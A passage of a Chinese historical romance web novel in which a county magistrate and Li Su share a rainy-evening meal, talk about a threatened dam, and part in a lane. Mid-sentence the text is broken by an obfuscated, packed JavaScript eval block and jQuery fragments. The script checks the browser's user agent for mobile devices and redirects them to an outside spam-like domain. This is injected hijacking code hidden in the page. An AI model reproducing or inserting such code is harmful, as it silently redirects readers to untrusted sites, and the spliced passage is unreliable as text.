他端起旁边温着的粗陶茶壶,给李素续了杯热茶,茶汤清亮,是普通的炒青,带着一点微涩的烟火气。 “有时夜里听着这雨声,总觉得像马蹄踏在屋顶,催命似的。” 这话说得平淡,却透着一股沉甸甸的无力感。 李素捧着温热的茶杯,看着程锦明映在雨光里的侧脸,他此时不再是公堂上那个凛然生威的县令,也不是河滩上那个指挥若定的主心骨。 此刻的他,只是一个被责任压得疲惫不堪、为一方水土忧心忡忡的普通人。 “大人已经尽力了,”她低声说,声音在雨声里显得格外和缓,“庆阳的乡亲都看在眼里,没有大人力排众议,这坝怕是连个影儿都没有,至于天时……” 她顿了顿,望向院中被打得簌簌作响的竹叶,“尽人事,听天命吧。” 程锦明转过头来看她,廊檐下光线昏蒙,她的面容在雨气和茶烟中有些模糊,唯有一双眼睛清亮澄澈,眼神平静恬淡。 “听天命……”他低声重复着,唇边终于绽开一个带着点无奈又释然的浅笑。 “是啊,也只能如此了,只是苦了这庆阳的百姓,若真决了口……”后面的话他没说下去,只是端起茶杯,将微涩的茶汤一饮而尽。 雨势似乎又急了些,豆大的雨点砸在院中那口闲置的石臼里,发出清脆的叮咚声,更显出小院的气氛寂静凝重。 李素有意转移话题,她转而拿起公筷夹了一块醋溜藕排放到程锦明面前的小碟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124900|178134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,“尝尝这个,凉了就不脆了。” 程锦明也不再纠结,他依言夹起送入口中。 熟悉的酸甜焦香瞬间在舌尖弥漫开,藕的脆嫩裹着滚烫的糖醋汁,带着记忆的温度。 他咀嚼着,似乎透过这熟悉的味道看到了那个曾在县衙小厨房里忙碌的沉静身影,看到了河滩上灶火映红的脸庞,也看到了公堂之上,她挺直脊梁迎向朱永贵怨毒目光时的清冽。 “手艺越发精进了,”半晌他咽下藕排,由衷赞道,声音里带着暖意。 李素只是微微弯了下唇角,没说什么,低头小口喝着碗里的汤。 气氛再次沉静下来,却不再有先前的凝重,反而流淌着一种无言的默契和淡淡的暖意。 饭毕,雨势未歇。 程锦明起身跟了李素几步:“雨大,我送你到巷口吧。” “不必麻烦大人,几步路而已,”李素撑着伞淡淡推辞。 “无妨,正好透透气,”程锦明已拿起靠在廊柱边的另一把油纸伞撑开。 李素见状也不再推辞,两人一前一后步入细密的雨帘,青石板路湿滑,反射着天光和水光。 巷子深且静,只有雨点敲打伞面和脚下溅起的水声。 走到县衙后门虚掩的小角门处,李素这才停下脚步道:“大人留步吧。” 程锦明很有分寸的停在她几步远的位置,“好,路上当心。” 李素点了点头:“大人也早些歇息,坝总会守住的。” 她的目光穿过雨幕,落在他被水汽浸润得格外清俊又带着倦意的脸上,那句“保重”在舌尖滚了滚,终究没有说出口,只化作一个无声的眼神。 程锦明看着她,雨水顺着伞骨滑落,在她身前织成一道透明的水帘。 她站在水帘后,身影单薄却挺直,像风雨中一株柔韧的竹。 “嗯,”他应了一声,声音低沉,千言万语似乎都凝在了这细密的雨声里。 李素于是撑着伞转身步入小巷深处。 雨点打在油纸伞面上,噼啪作响,像无数细小的鼓点敲在心上。 她没有回头,却能清晰地感觉到身后那道目光,隔着雨帘一直追随着她,直到巷口拐角。 转过弯,那道视线才被高墙彻底阻隔。 李素脚步未停,巷子里的风更冷了些,带着河滩特有的、裹着腐草味的湿冷泥土气。 她拢了拢衣襟,指尖不经意触到袖口一点微湿的痕迹——是方才的素鸭汤溅上的。 那浓郁的菌菇豆香似乎还萦绕在鼻尖,混着方才程锦明相随时,衣袖拂过带起的、淡淡的墨香和雨水的清冽。 她深吸一口气,冰冷的空气带着水汽涌入肺腑,却压不下心口那点莫名的、温温的酸胀。 为这多灾的庆阳,为那未卜的堤坝,也为方才廊檐下,那片刻无声的、带着疲惫与暖意的相守。 李素紧了紧手中的伞,加快脚步朝着自家铺子亮着温暖灯火的方向走去。 她的身影很快融入雨丝中,融入洇湿的青灰暮色里。